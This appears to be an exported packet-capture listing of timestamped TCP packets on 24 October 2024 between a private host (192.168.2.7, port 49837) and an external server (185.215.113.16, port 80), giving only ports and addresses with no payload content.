Oct 24, 2024 04:01:45.261501074 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261512041 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261528969 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261539936 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261542082 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261562109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261571884 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261601925 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261610031 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261610031 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261622906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261651993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261662960 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261681080 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261681080 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261692047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261713028 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261722088 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261737108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261737108 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261744022 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261759043 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261771917 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261795044 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261807919 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261807919 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261816978 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261828899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261848927 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261862993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261868954 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.261868954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261868954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.261957884 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262017965 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262031078 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262042999 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262065887 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262077093 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262079000 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262087107 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262103081 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262114048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262114048 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262114048 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262140989 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262165070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262176037 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262181997 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262181997 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262196064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262207985 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262226105 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262236118 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262258053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262269974 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262269974 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262270927 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262269974 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262290955 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262408018 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262531042 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262545109 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262563944 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262578011 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262590885 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262597084 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262597084 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262609959 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262620926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262638092 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262654066 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262654066 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262661934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262674093 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262691021 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262711048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262722969 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262732029 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262732029 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262739897 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262758017 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262768030 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262797117 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262809038 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262813091 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262825012 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262846947 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262856960 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262866020 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262866020 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262866020 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262878895 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262892008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262906075 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262909889 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262921095 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262933969 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262942076 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262962103 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262973070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.262986898 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262986898 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.262993097 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263010025 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263026953 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263044119 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263149977 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263149977 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263344049 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263355970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263377905 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263390064 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263411045 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263412952 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263412952 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263422966 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263443947 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263465881 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263475895 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263495922 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263509989 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263526917 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263537884 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263556004 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263556004 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263556004 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263556004 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263561010 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263571978 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263586998 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263598919 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263612032 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263612986 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263623953 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263644934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263655901 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263673067 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263686895 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263794899 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263807058 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263828993 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263839960 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263859987 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263870955 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263894081 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263896942 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263896942 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263896942 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263905048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263931036 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.263932943 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263953924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263968945 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263986111 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.263999939 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264008045 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264008045 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264015913 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264046907 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264049053 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264061928 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264086962 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264095068 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264105082 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264122009 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264139891 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264151096 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264167070 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264174938 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264175892 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264197111 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264206886 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264206886 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264208078 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264214039 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264226913 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264241934 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264256954 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264275074 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264286995 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264286995 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264287949 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264300108 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264317036 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264337063 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264337063 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264384031 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264394999 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264411926 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264432907 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264441967 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264451027 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264451027 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264461994 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264477968 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264491081 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264511108 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264522076 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264542103 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264555931 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264569044 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264585972 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264585972 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264585972 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264585972 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264589071 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264611006 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264625072 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264643908 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264658928 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264666080 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264666080 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264677048 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264692068 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264693975 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264885902 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264897108 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264899015 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264925003 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264935970 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264950991 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264966011 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264983892 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.264987946 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264987946 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264987946 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.264996052 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265014887 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265032053 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265042067 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265064001 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265080929 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265089989 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265089989 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265089989 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265101910 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265115023 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265132904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265142918 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265153885 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265162945 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265162945 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265176058 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265187025 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265206099 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265219927 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265229940 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265229940 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265244961 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265254974 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265259981 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265264988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265270948 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265275955 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265296936 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265320063 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265322924 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265322924 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265333891 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265353918 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265368938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265368938 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265378952 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265393972 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265415907 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265431881 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265449047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265465975 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265485048 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265485048 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265485048 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265494108 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265516043 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265531063 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265537024 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265551090 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265568972 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265592098 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265594959 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265614033 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265625954 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265630007 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265645981 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265652895 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265666962 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265677929 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265701056 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265712976 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265732050 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265734911 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265734911 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265798092 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265824080 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265835047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265856981 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265873909 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265875101 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265896082 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.265898943 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.265969038 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.392837048 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.399895906 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.399909973 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.399920940 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.399944067 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.399951935 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.399955988 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.399971008 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.399983883 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400002003 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.400034904 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.400224924 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400237083 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400254965 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400264025 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.400266886 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400280952 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400291920 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400302887 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400309086 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.400316000 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.400316954 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.400331974 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.419646978 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.703349113 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.708883047 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984355927 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984369040 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984431982 CEST	49837	80	192.168.2.7	185.215.113.16
Oct 24, 2024 04:01:45.984466076 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984479904 CEST	80	49837	185.215.113.16	192.168.2.7
Oct 24, 2024 04:01:45.984493017 CEST	80	49837	185.215.113.16	192.168.2.7
